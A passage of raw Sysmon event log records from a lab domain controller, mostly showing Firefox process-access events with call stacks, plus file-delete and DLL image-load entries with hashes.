Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050521Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.608{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a09d17|C:\Program Files\Mozilla Firefox\xul.dll+a799a9|C:\Program Files\Mozilla Firefox\xul.dll+9d2692|C:\Program Files\Mozilla Firefox\xul.dll+8aa7fa|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050520Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.608{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a09d17|C:\Program Files\Mozilla Firefox\xul.dll+a799a9|C:\Program Files\Mozilla Firefox\xul.dll+9d2692|C:\Program Files\Mozilla Firefox\xul.dll+8aa7fa|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050519Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.607{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a09d17|C:\Program Files\Mozilla Firefox\xul.dll+a799a9|C:\Program Files\Mozilla Firefox\xul.dll+9d2692|C:\Program Files\Mozilla Firefox\xul.dll+8aa7fa|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050518Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.607{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a09d17|C:\Program Files\Mozilla Firefox\xul.dll+a799a9|C:\Program Files\Mozilla Firefox\xul.dll+9d2692|C:\Program Files\Mozilla Firefox\xul.dll+8aa7fa|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050517Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.607{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a09d17|C:\Program Files\Mozilla Firefox\xul.dll+a799a9|C:\Program Files\Mozilla Firefox\xul.dll+9d2692|C:\Program Files\Mozilla Firefox\xul.dll+8aa7fa|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050516Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.607{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a09d17|C:\Program Files\Mozilla Firefox\xul.dll+a799a9|C:\Program Files\Mozilla Firefox\xul.dll+9d2692|C:\Program Files\Mozilla Firefox\xul.dll+8aa7fa|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050515Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.606{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a09d17|C:\Program Files\Mozilla Firefox\xul.dll+a799a9|C:\Program Files\Mozilla Firefox\xul.dll+9d2692|C:\Program Files\Mozilla Firefox\xul.dll+8aa7fa|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000050514Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.586{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\prefs-1.jsMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000050513Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.586{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla Firefox\xul.dll+faf709|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572|C:\Program Files\Mozilla Firefox\xul.dll+1ab7d5f|C:\Program Files\Mozilla Firefox\xul.dll+f0bba0 10341000x800000000000000050512Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.586{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b55c5a|C:\Program Files\Mozilla Firefox\xul.dll+2d9649|C:\Program Files\Mozilla Firefox\xul.dll+2d9554|C:\Program Files\Mozilla Firefox\xul.dll+2d933d|C:\Program Files\Mozilla Firefox\xul.dll+2d91d4|C:\Program Files\Mozilla Firefox\xul.dll+ba1993|C:\Program Files\Mozilla Firefox\xul.dll+ba2691|C:\Program Files\Mozilla Firefox\xul.dll+ba168d|C:\Program Files\Mozilla Firefox\xul.dll+ba15e2|C:\Program Files\Mozilla Firefox\xul.dll+b723b2|C:\Program Files\Mozilla Firefox\xul.dll+1a1b580|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda 23542300x800000000000000050511Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.570{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4106615D6401A381BA086E02A2786265,SHA256=84F17C675DEF5BDF270B2BA6766315E40804C53F053647125812C53AFCE08075,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000050510Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.539{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050509Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.539{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050508Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.539{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050507Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.539{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050506Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.539{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050505Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.539{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050504Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.539{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050503Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.539{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050502Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.539{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050501Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.539{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050500Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.539{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050499Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.539{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050498Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.539{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000050497Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.524{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\DWrite.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft DirectX Typography ServicesMicrosoft® Windows® Operating SystemMicrosoft CorporationDWriteMD5=1875083243EE498D0B2BB6B025AD7520,SHA256=A3FA592126642537BF6F0E4E9750A43A899525FE616DE899ABD7F26A9E7620C4,IMPHASH=4DF173E853B52F621D05CC337B9F72CEtrueMicrosoft WindowsValid 734700x800000000000000050496Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.524{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\devobj.dll10.0.14393.0 (rs1_release.160715-1616)Device Information Set DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationdevinfoset.DLLMD5=72AD993A6E896EB50058A73D045F3284,SHA256=CFF524F52D5F91788F34A47076E0CA36132890981079B27F559279B3F6FC3B11,IMPHASH=DFDCA72C641F8587ADF49CA0ED1D5817trueMicrosoft WindowsValid 10341000x800000000000000050495Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.524{7BD73061-65B0-613B-0B00-00000000F001}6206620C:\Windows\system32\lsass.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla 